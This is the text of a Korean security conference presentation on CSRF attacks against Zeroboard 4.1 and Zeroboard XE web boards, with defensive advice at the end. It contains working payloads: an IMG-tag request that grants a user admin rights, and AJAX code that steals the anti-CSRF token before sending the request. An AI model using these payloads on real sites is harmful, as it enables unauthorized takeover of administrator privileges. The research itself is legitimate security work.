Web 2.0 CSRF exploitation (web-board board case study) Bypassing Security Token based Anti-CSRF & Zero board XE -1day Remote exploit
유동훈 - Xpl017Elz (x82) - INetCop Security 연구소장 - http://x82.inetcop.org 운영 - 연구분야 * 웹어플리케이션취약점 * 시스템어플리케이션취약점 * 시스템커널, 라이브러리취약점 * 어플리케이션취약점소스코드분석 * Proof-of of-concept exploit code 개발 - 경력 * WOKSDOME global hacking competition prize * The 1 st KJIST SeeCure-CSRL CSRL Hacking Festival prize * 해외보안회사 Snosoft 의보안권고문검증업무 * Small buffer format string attack paper 해외발표 * Advanced exploitation in exec-shield paper 해외발표
1. IntroductionI What made CSRF exploit rearise?
1-1. 1. 용어설명 - 1세대웹 (Web 1.0) (End 유저기준 ) 사용자에게게시된정보를인터넷으로제공하는고전적인웹서비스. 클라이언트가서버에서제공하는서비스만받을수있음. (Blog( 와같은개념이태어나기전게시판형태의웹서비스 ) - 2세대웹 (Web 2.0) (End 유저기준 ) 사용자참여중심의인터넷환경을뜻하며최근새로운개념으로정립. 사용자가직접데이터를다룰수있음. (Blog( Blog, Wiki 등의사용자참여형웹서비스 ) - 1세대웹과 2세대웹의구분 ( 프로그래머기준 ) AJAX 탄생. 그전과후 - 웹 (Web) 2.0 해킹사용자의웹브라우저환경을이용하는다양한웹해킹공격을뜻함. 대부분기존클라이언트를대상으로하는웹해킹기법과개념은동일하나, 용어적인차이와방법론의차이를가지고있음.
1-2. Cookie 인증 - Cookie 인증 1) 웹사이트가클라이언트사용자를인증하는데있어서대중적으로사용하는인증의한방식. 2) Netscape 사에서처음개발되었음. (RFC 2109) 3) DB 에지속적인인증요청을필요로하지않으므로서버의성능향상 4) 클라이언트 PC 에 Cookie 정보가저장되므로정보노출에의한인증취약점발생 - Cookie 발급과정 : 1) 사용자인증요청 Id=test&pass=password ( 클라이언트요청메시지데이터 ) 2) Database 검색을통해올바른사용자인지여부를판단 Select * from user_db where id= $id and pass= $pass (MySQL DB 의예 ) 3) 올바른사용자인경우, Cookie 데이터 ( 데이터값이큰경우 DB 에저장 ) 를사용자에게발급 Set-Cookie: user cookie data; ( 서버응답메시지헤더 ) 4) 지속적인접속유지를위해사용자브라우저가 Cookie 파일을사용자시스템에저장 C:\Documents and Settings\ 사용자 \Cookies (Windows XP 기준 ) 5) 다음요청부터발급받은 Cookie 데이터를통해정보를요청 Cookie: user cookie data; ( 클라이언트요청메시지헤더 )
1-3. Session 인증 - Session 인증 1) 사전적의미로는어떤특별한목적으로사용자에의해점유되는일정시간을뜻함. 2) 인증제공방식은 Cookie 인증방식과동일하나휘발성데이터형태로발급. 3) 보안성향상 (Cookie 가사용자 PC 내에저장되는것과달리 Session 데이터는서버에저장 ) 4) 클라이언트 PC 에는데이터가포함되지않은 Session 키이름만발급하여인증제공 - Session 발급과정 : 1) 사용자인증요청 Id=test&pass=password ( 클라이언트요청메시지데이터 ) 2) Database 검색을통해올바른사용자인지여부를판단 Select * from user_db where id= $id and pass= $pass (MySQL DB 의예 ) 3) 올바른사용자인경우, 서버웹어플리케이션이 Session 파일을서버시스템에저장 /tmp/sess_ 세션키이름 (PHP session_start() 함수기준 ) 4) 지속적인접속유지를위해저장된 Session Key 이름을사용자에게발급 Set-Cookie: user session key name; ( 서버응답메시지헤더 ) 5) 다음요청부터발급받은 Session Key 이름을통해정보를요청 Cookie: user session key name; ( 클라이언트요청메시지헤더 )
1-4. 웹해킹기법의발전형태 - Cookie Spoofing 취약점인증설정상오류를악용한 Cookie 해킹의한종류. Cookie 내의예측하기쉬운데이터정보를속여본래권한외의접근수행이가능. - Cookie Sniffing 취약점여러가지다양한방법을동원하여타인의 Cookie 데이터를가로채는해킹기법. 가로챈 Cookie 데이터를이용하여본래권한외의접근수행이가능. - XSS (Cross site script) 공격기법취약한웹페이지를이용하여 Cookie, Session sniffing 코드를포함한 URL 또는이미지링크등을사용자에게노출시켜클라이언트브라우저내의데이터를얻어오는류의해킹기법. 해당기법을이용하면사용자의 Cookie 데이터를획득하여인증우회및인증무력화공격을시도할수있음. - CSRF (Cross site Request Forgeries) 공격기법취약한웹페이지를이용하여권한을도용하는가짜요청문을클라이언트의웹브라우저상에서실행되도록유도하는해킹기법. 해당기법을이용하면타인의권한으로원하는 HTTP 요청문을수행할수있음. - XST (Cross site Tracing) 공격기법웹서버의 TRACE method 특성을이용하여접근이불가능한 Cookie 데이터를얻어오는해킹기법.
1-5. 보안이강화된인증기법 - HttpOnly 쿠키인증기법 클라이언트웹브라우저가 Javascript 를통해 cookie 에접근하지못하도록제어하여취약점을차단하는방법. MS 사의 IE6 SP1 웹브라우저부터지원된이보안정책은 XSS 공격을차단하기위한프로젝트의일환으로보다안전한 cookie 데이터를생성할수있다. ( 참고자료 : Mitigating Cross-site site Scripting With HTTP-only Cookies.. MSDN Library. http://msdn.microsoft.com/en-us/library/ms533046.aspx us/library/ms533046.aspx) - HttpOnly 쿠키무력화기법 : XST (Cross site Tracing) 공격 과거에는 XHR (XMLHttpRequest( XMLHttpRequest) 를이용한 XST 공격이가능했다. 그러나 2007 년 08 월 MS 보안업데이트가적용된이후부터는공격이주춤한상태이다. 그이유는 XMLHTTP.open() 함수가 TRACE method 를지원하지않도록변경되면서공격이어려워졌기때문이다. ( 참고자료 : Cross-Site Tracing (XST). Jeremiah Grossman. Jan 20 2003) ( 참고자료 : XS(T) attack variants which can, in some cases, eliminate the need for TRACE. Amit Klein. Jan 26 2003) ( 참고자료 : XST Strikes Back. Amit Klein. Jan 25 2006 )
1-5. 보안이강화된인증기법 - 사용자로그인 IP 체크기법 사용자의로그인인증시 IP 를세션데이터에기록한후서비스페이지에접속한 IP 와비교하여다른 IP 의접속이시도되었을경우이를차단하고 Session 을소멸시키는방법. 현재국내몇몇웹메일에적용된상태이며웹게시판중에는제로보드시스템이이러한 IP 체크기능을보안인증으로사용하고있다. ( 장점 : Cookie Spoofing, Cookie Sniffing, XSS 공격시도를차단할수있음.) - 사용자로그인 IP 체크기법 : CSRF (Cross site Request Forgeries) 공격 매서비스페이지마다접속한 IP 와비교하므로 XSS 기법으로페이지에접근하는것은불가능하다. 이러한보안인증을우회하기위해가짜요청문을클라이언트의웹브라우저상에서실행시킬수있는 CSRF 기법이재활용되었다. ( 참고자료 : Zeroboard IP session bypass XSS vulnerability. INetCop Security. Mar 12 20062 http://x82.inetcop.org/h0me/adv1sor1es/incsa.2006-0x82 0x82-029-zeroboard.txt)
2. Web 1.0 CSRF exploitation Why need CSRF exploit?
2. Web 1.0 CSRF 공격기법 - CSRF (Cross site Request Forgeries) 공격의역사 현재 Cross Site Reference Forgery, Session Riding, Sea Surf, iframe exploit 등그밖에다양한이름으로불리고있으나 2001 년도에처음으로발표된자료에명시된정식명칭은 Cross site Request Forgeries 이다. 해당명칭을약자로줄여 CSRF 또는 XSRF 로부르고있다. Cross-Site Request Forgeries (sea surf). Peter W. Jun 13 2001. Session Riding. Thomas Schreiber. Dec 2004. Cross Site Reference Forgery. Jesse Burns (isec( isec). 2005. MySpace CSRF/XSS Samy worm. 2005. Zeroboard 4.1 pl7 iframe exploit. INetCop Security. Mar 12 2006. CSRF added as A5 on the OWASP Top 10. OWASP. 2007. auction.co.kr Chinese Hacker steals user information on 18 MILLION. Feb 12 2008. 08.
2. Web 1.0 CSRF 공격기법 - CSRF (Cross site Request Forgeries) 공격원리 제로보드 4.1 의관리자기능중게시판에가입된일반사용자의권한을관리자로변경하는 POST 요청문이다음과같다고가정하자. ( 참고로, 실제제로보드 4.1 의요청문은 multipart/form-data 형식으로넘어감 ) POST http://zb.inetcop.org/bbs/admin_setup.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: http://zb.inetcop.org Content-Length: Cookie: PHPSESSID=848db2e9c1949f6d17e0fcadc436bdc4; exec=view_member&exec2=modify_member_ok&group_no=1&member_no=2& is_admin=1&level=1&name=test&email=name@addr.com&comment=test
2. Web 1.0 CSRF 공격기법 - CSRF (Cross site Request Forgeries) 공격원리 앞서 POST 요청문은 member_no 값이 2인 test 사용자를관리자권한으로 (is_admin 을 1로설정, level 을 1로설정 ) 설정한다. 해당요청문을사용자브라우저내에서몰래실행할수있도록 GET method 동작코드를만들면다음과같다. (<IMG> 태그나 <IFRAME>, <SCRIPT> 태그를이용하여공격코드작성이가능함 ) <IMG src= http://zb.inetcop.org/bbs/admin_setup.php?exec=view_member& exec2=modify_member_ok&group_no=1&member_no=2&is_admin=1&level=1& name=test&email=name@addr.com&comment=test width=0 height=0> 이렇게작성된 IMG 태그 (GET 요청문 ) 를관리자의웹브라우저에서실행하기위해관리자에게쪽지를보낼때삽입하거나게시글에숨겨공격을시도할수있다. 실제전달되는 GET 요청문은다음과같을것이다. GET http://zb.inetcop.org/bbs/admin_setup.php?exec=view_member& exec2=modify_member_ok&group_no=1&member_no=2&is_admin=1&level=1& name=test&email=name@addr.com&comment=test HTTP/1.0 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: http://zb.inetcop.org Content-Length: Cookie: PHPSESSID=848db2e9c1949f6d17e0fcadc436bdc4;
2. Web 1.0 CSRF 공격기법 - CSRF (Cross site Request Forgeries) 공격순서 1) 권한수행시웹서버로전달되는요청문을추출한다. 2) 추출한요청문을 <IMG> 태그나 <IFRAME> 태그로재구성한다. 3) 작성한공격태그를원하는클라이언트브라우저에서실행될수있도록대상사용자의접근을유도한다. 4) 사용자가공격태그를브라우저에서실행시키면해커가원하는요청문이수행된다. 5) Cookie 나 Session Key 에대한직접적인접근없이도악의적인해커에게권한이넘어간다. - CSRF (Cross site Request Forgeries) 공격대상 인증이구현된모든웹. ( 웹게시판, 블로그, 카페, 웹메일, 웹쇼핑몰, 검색엔진등 ) 차후각종 SPAM 공격, 관리자권한획득, 검색순위조작, 웜바이러스등으로악용될소지가매우높다. ( 또한, 웹인터페이스를지원하는라우터, 공유기해킹에도사용됨 )
2. Web 1.0 CSRF 공격기법 - 실제 CSRF (Cross site Request Forgeries) 공격 제로보드 4.1 pl8 게시판은 IP 체크보안기능이활성화되어있어 XSS 공격을시도하기어렵다. 다음코드는로그인후세션을처리하는 /bbs/login_check.asp 코드내용중일부이다. 25 if($member_data[no]) { 26 27 if($auto_login) { 28 makezbsessionid($member_data[no]); 29 } 30 31 // 4.0x 용세션처리 32 $zb_logged_no = $member_data[no]; 33 $zb_logged_time = time(); 34 $zb_logged_ip = $REMOTE_ADDR; <- 로긴시, IP 기록 35 $zb_last_connect_check = '0'; 위와같이로그인시 session 데이터에기록한 IP 주소는서비스페이지접속 IP 와비교하여다를경우 session key 를소멸시킨다. 다음코드는해당역할을수행하는 /bbs/lib.php 코드내용중일부이다. 97 // 로그인시간이지정된시간을넘었거나로그인아이피가현재사용자의아이피와다를경우로그아웃시킴 98 if(time()-$http_session_vars["zb_logged_time"]>$_zbdefaultsetup["login_time"] $HTTP_SESSION_VARS["zb_logged_ip"]!=$REMOTE_ADDR) { 99 100 $zb_logged_no=""; 101 $zb_logged_time=""; 102 $zb_logged_ip=""; <- 세션최기화 103 session_register("zb_logged_no");
- Demonstration of Web 1.0 CSRF exploitation - Zero board 4.1 pl8-1day Remote POC exploit (0x82-zer04.1pl8_CSRF.c)
3. Anti-CSRF Protection Security Token based Anti-CSRF Protection
3. Anti-CSRF 보안기법 - CSRF protection (anti-csrf) 기법소개 1) POST method only 공격을어렵게하기위해모든요청을 POST 만사용하도록권고했지만 CSRF 를차단할수있는방법은아니다. 2) Referer 체크과거에는매우효과적인방어기법이었다. 그러나 Referer 역시조작이가능하다는사실이밝혀지면서완벽한차단이힘들어졌다. ( 참고자료 : Exploiting the XmlHttpRequest object in IE - Referrer spoofing. Amit Klein. Sep 24 2005) ( 참고자료 : Sending arbitrary HTTP requests with Flash 7/8 (+IE 6.0). Amit Klein. Aug 16 2006) ( 참고자료 : HTTP Header Injection Vulnerabilities in the Flash Player Plugin.. Rapid7. Oct 17 2006) 3) One time authorization Security Token 사용 Peter W 가제안했던것처럼 action 이필요한모든서비스페이지에 Security Token 을넣어확인하는방법이다. 이기술은현재안전한보안방법으로널리알려져있는편이다. ( 참고자료 : Security Corner: Cross-Site Request Forgeries. Chris Shiflett.. Dec 13 2004) ( 참고자료 : Cross Site Reference Forgery. Jesse Burns (isec( isec). 2005)
3. Anti-CSRF 보안기법 - One time authorization Security Token 보안원리 Chris Shiflett 의 Token 코딩예제를보면매우쉽게이해할수있다. Action 이수행되는모든서비스페이지에추가하여 CSRF 에보다안전한웹페이지를만들수있다. <? // PHP 예제 session_start(); $tokn=md5(uniqid(rand(),true)); // 매번 random 하게생성된보안인증토큰 $_SESSION['tokn']=$tokn;?> <form action='action.php' method='post'> <input type=hidden name=tokn value='<? echo $tokn?>'> Action 이수행되는 form 에 random 하게생성된 Security Token 이 POST 로넘어오도록구성한다. 정보를입력받는페이지에서는넘어온토큰이유효한지검사하는루틴을추가한다. <? session_start(); if(isset($_session['tokn'])&&$_post['tokn']==$_session['tokn']){ 정상루틴수행 } else echo " 토큰값오류 ";?>
3. Anti-CSRF 보안기법 - One time authorization Security Token 보안솔루션소개 1) Anti-CSRF 루틴예제 http://www.t3-design.com/tag/anti design.com/tag/anti-csrf/ csrf/ http://rgaucher.info/post/2007/08/08/anti-csrf CSRF-and-static-pages http://www.businessinfo.co.uk/labs/csrf_defend/csrf_demos.php 2) Anti-CSRF 솔루션 CSRF Killer - http://activereload.net/2007/3/6/your-requests requests-are-safe-with-us CSRF Guard - http://www.owasp.org/index.php/csrf_guard
4. Anti-CSRF Protection bypass! Bypass Security Token based Anti-CSRF Protection
4. Anti-CSRF 우회공격기법 - Anti-CSRF 우회공격의원리 다음과같이제로보드 4.1 게시판에 Anti-CSRF CSRF One time Security Token 을추가하였다. 이렇게 Security Token 이추가된웹어플리케이션은고전적인 CSRF 기법으로는공격하기어렵다. <form name=write method=post action=/bbs/admin_setup.php submit();"> <input type=hidden name=exec value=view_member> <input type=hidden name=exec2 value=modify_member_ok> <input type=hidden name=group_no value=1> <input type=hidden name=member_no value=2> <input type=hidden name=page value=1> <input type=hidden name=page_num value=10> <input type=hidden name=keykind value=> <input type=hidden name=keyword value=> <input type=hidden name=like value=> <input type=hidden name=token value=392373b9e18d11892451e38178fc6c74> 앞서공격과같이 <IMG>, <IFRAME> 태그를이용하여공격을시도할경우, 매번 random 하게변경되는 Security Token 값을예측할수없으므로 exploit 자체가불가능하다.
4. Anti-CSRF 우회공격기법 - Anti-CSRF 우회공격의원리 Anti-CSRF 루틴을우회하기위해서는 AJAX 의 XMLHTTP, XHR(XMLHttpRequest) 가필요하다. XHR 를이용하면 GET/POST method 를매우편리하게사용할수있다. 고전적인 CSRF exploit 이일방적으로데이터를보내기만했다면, AJAX 의 XHR 를이용한 Web 2.0 CSRF exploit 은데이터통신이가능하다. var req = new ActiveXObject("Microsoft.XMLHTTP"); req.open("get","/bbs/admin_setup.php?exec=view_member&group_no=1&ex ec2=modify&no=2",false); // 매번새롭게생성되는 Security Token 을구함 req.send(); var token=req.responsetext; token=token.substring(token.indexof("token value=")); token=token.substring(12,token.indexof(">")); // Security Token 만추출 var req = new ActiveXObject("Microsoft.XMLHTTP"); req.open("post","/bbs/admin_setup.php",false); req.setrequestheader("content-type","application/x-www-form-urlencoded"); req.send("token="+token+"&exec=view_member&exec2=modify_member_ok&gro up_no=1&member_no=2&is_admin=1&level=1&name=exploit&email=name@mail.c om&comment=test"); // POST 데이터에앞서얻은 Security Token 을추가해서보냄
4. Anti-CSRF 우회공격기법 - Anti-CSRF 우회공격의원리 실제제로보드에사용할경우, <IMG> 태그내에서 Javascript 를불러오면공격코드를작성할수있다. 앞서 AJAX 공격코드를 <IMG> 태그로재작성하여완성된 exploit 코드는다음과같다. <img src="javascript:var req=new ActiveXObject('Microsoft.XMLHTTP'); req.open('get','/bbs/admin_setup.php?exec=view_member&group_no=1&exe c2=modify&no=2',false); req.send(); var token=req.responsetext; token=token.substring(token.indexof('token value=')); token=token.substring(12,token.indexof('>')); var req=new ActiveXObject('Microsoft.XMLHTTP'); req.open('post','/bbs/admin_setup.php',false) req.setrequestheader('content-type','application/x-www-form-urlencoded'); req.send('token='+token+'&exec=view_member&exec2=modify_member_ok&grou p_no=1&member_no=2&is_admin=1&level=1&name=x0x&email=x@0.x&comment= x0x');" width=0 height=0> 이로써 Security Token 이매번 random 하게변경되더라도아무런문제없이 exploit 이가능하다. AJAX 를이용한 Web 2.0 공격코드는이밖에도다양한곳에응용될수있을것이다. ( 기존에공격하기어려웠던 Blind CSRF exploit 이가능함 )
-Demonstration of Anti-CSRF bypass exploitation - Zero board 4.1 pl8 (patch version) POC exploit (0x82-zer04.1pl8_antiCSRFbypass.c)
5. Web 2.0 CSRF exploitation!! Zeroboard XE XMLHTTP exploit
5. Web 2.0 CSRF 공격기법 - 제로보드 XE CSRF (Cross site Request Forgeries) 공격 제로보드 XE 게시판역시 4.1 게시판과마찬가지로 IP 체크보안기능이활성화되어있어 XSS 공격을시도하기어렵다. 다음코드는제로보드 XE 게시판에로그인후세션을처리하는 modules/member/member.controller.php member.controller.php 코드내용중일부이다. 958 /** 959 * @brief 세션정보갱신또는생성 960 **/ 961 function setsessioninfo($member_info = null) { 962 $omembermodel = &getmodel('member'); 963... 985 // 로그인처리를위한세션설정 986 $_SESSION['is_logged'] = true; 987 $_SESSION['ipaddress'] = $_SERVER['REMOTE_ADDR']; 988 $_SESSION['member_srl'] = $member_info->member_srl; 989 $_SESSION['is_admin'] = false; 990 참고로 $_SERVER[ REMOTE_ADDR REMOTE_ADDR ] 변수에는자동적으로웹서버에접속한클라이언트의 IP 가저장되어있다.
5. Web 2.0 CSRF 공격기법 - 제로보드 XE CSRF (Cross site Request Forgeries) 공격 앞서로그인시 session 데이터에기록한 IP 주소는서비스페이지접속 IP 와비교하여다를경우 session key 를소멸시킨다. 다음코드들은해당역할을수행하는코드내용일부이다. modules/member/member.model.php:... 104 /** 105 * @brief 로그인되어있는지에대한체크 106 **/ 107 function islogged() { 108 if($_session['is_logged']&& $_SESSION['ipaddress']==$_SERVER['REMOTE_ADDR']) return true; 109 $_SESSION['is_logged'] = false; 110 $_SESSION['logged_info'] = ''; 111 return false; 112 }... modules/session/session.controller.php:... 24 function write($session_key, $val) {... 30 if($session_info->session_key == $session_key && $session_info->ipaddress!= $_SERVER['REMOTE_ADDR']) { 31 executequery('session.deletesession', $args); 32 return true; 33 }...
5. Web 2.0 CSRF 공격기법 - 제로보드 XE CSRF (Cross site Request Forgeries) 공격원리 제로보드 XE 의관리자기능중게시판에가입된일반사용자의권한을관리자로변경하는 POST 요청문은다음과같다. ( 참고로, 제로보드 XE 의 POST 요청문은 PHP XML Library 로인해데이터가 XML 엘리먼트형식으로넘어감 ) POST http://zb.inetcop.org/~board/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: http://zb.inetcop.org Content-Length: Cookie: PHPSESSID=9be8b420cd6861ba7c1c4d5cc218f6db; <?xml version="1.0" encoding="utf-8"?> <methodcall> <params> <member_srl><![cdata[87]]></member_srl> <user_id><![cdata[test]]></user_id> <is_admin><![cdata[y]]></is_admin> <group_srl_list><![cdata[1]]></group_srl_list>
5. Web 2.0 CSRF 공격기법 - 제로보드 XE CSRF (Cross site Request Forgeries) 공격원리 제로보드 XE 는 XML 라이브러리사용으로인해고전적인 CSRF 공격기법을시도할수없다. 그이유는 XML 엘리먼트형식으로전달하는공격태그작성이힘들기때문이다. 앞서 XML 형식의요청문을사용자브라우저내에서실행할수있도록 AJAX(XMLHTTP) 로작성한코드는다음과같다. var req=new ActiveXObject("Microsoft.XMLHTTP"); req.open("post","/~board/",true); req.send("<?xml version='1.0' encoding='utf-8'?>\r\n<methodcall>\r\n<params>\r\n <member_srl><![cdata[87]]></member_srl>\r\n <user_id><![cdata[test]]></user_id>\r\n <user_name><![cdata[test]]></user_name>\r\n <nick_name><![cdata[test]]></nick_name>\r\n <email_address><![cdata[x0x@x0x.x0x]]></email_address>\r\n <is_admin><![cdata[y]]></is_admin>\r\n <group_srl_list><![cdata[1]]></group_srl_list>\r\n <module><![cdata[member]]></module>\r\n <act><![cdata[procmemberadmininsert]]></act>\r\n</params>\r\n</methodcall>"); 위요청문을살펴보면 <member_srl> 값이 87 인 test 사용자를관리자권한으로 (<is_admin is_admin> 을 Y로설정, <group_srl_list< group_srl_list> 를 1로설정 ) 설정하는것을볼수있다.
5. Web 2.0 CSRF 공격기법 - 제로보드 XE CSRF (Cross site Request Forgeries) 공격원리 앞서 AJAX 코드를그대로 write 할경우, 오류가발생한다. 그이유는 CDATA 섹션을통해전달되는데이터에 ]]> 와같은코드가들어오기때문인데이는다음과같은문제점이발생한다. 정상적인형식 : <content><![cdata[ 게시물내용 ]]></content> 비정상적인형식 : <content><![cdata[ 게시물 ]]> 내용 ]]></content> 위와같이요청하면 ]]> 를 CDATA 섹션의끝으로인식하면서 게시물 까지만데이터로인식하고 ]]> 뒤의 내용 이라는데이터가남게되므로엘리먼트는엉망이되어버린다. 다음공격코드는이러한문제점을말끔히해결해줄것이다. <INPUT type=image width=0 height=0 dynsrc="javascript:var xmlhttp=new ActiveX Object('Microsoft.XMLHTTP');xmlhttp.open('POST','/~board/',true);xmlhttp.send(& #x22<?xml version='1.0' encoding='utf-8'?>\r\n<methodcall>\r\n<params>\r\n <member_srl><![cdata[87]
]></member_srl>\r\n<user_id><![cdata[x0 x]
]></user_id>\r\n<user_name><![cdata[x0x]
]></user_name>\r\n <nick_name><![cdata[x0x]
]></nick_name>\r\n<email_address><![cdata [x0x@x0x.x0x]
]></email_address>\r\n<is_admin><![cdata[y]
]> </is_admin>\r\n<group_srl_list><![cdata[1]
]></group_srl_list>\r\n<m odule><![cdata[member]
]></module>\r\n<act><![cdata[procmemberad mininsert]
]></act>\r\n</params>\r\n</methodcall>");"> 문제점해결을위해개행문자캐리지리턴 (CR) 코드를 10 진수의엑추얼캐릭터로만들어넣었다. 이렇게엑추얼캐릭터를통해 CDATA 섹션에데이터를입력할경우엘리먼트형식이망가지는것을방지할수있다.
5. Web 2.0 CSRF 공격기법 - Web 2.0 CSRF (Cross site Request Forgeries) 공격순서 1) 권한수행시웹서버로전달되는요청문을추출한다. 2) 추출한요청문을 AJAX 코드 (XMLHTTP) 로작성한다. 3) 작성한공격태그를원하는클라이언트브라우저에서실행될수있도록대상사용자의접근을유도한다. 4) 사용자가공격태그를브라우저에서실행시키면해커가원하는요청문이수행된다. 5) Cookie 나 Session Key 에대한직접적인접근없이도악의적인해커에게권한이넘어간다. - Web 2.0 CSRF (Cross site Request Forgeries) 보안방법 서비스페이지내에권한을사용하는중요한 action 에대해서는반드시암호를함께입력하여수행할수있도록변경한다. ( 예 : 사용자정보변경기능, 탈퇴기능, 관리자정보변경기능, 관리자권한사용기능등 ) * 추가 : CAPTCHA, recaptcha,, MAPTCHA, asirra 를통해보안적용이가능.
5. Web 2.0 CSRF 보안방법
- Demonstration of Web 2.0 CSRF exploitation - Zero board XE -1day Remote POC exploit (0x82-zer0XE_CSRF.c) + Bonus stage
- The End - Thanks for listening. By "dong-houn you" (Xpl017Elz), in INetCop(c). MSN & E-mail: szoahc(at)hotmail(dot)com Home: http://x82.inetcop.org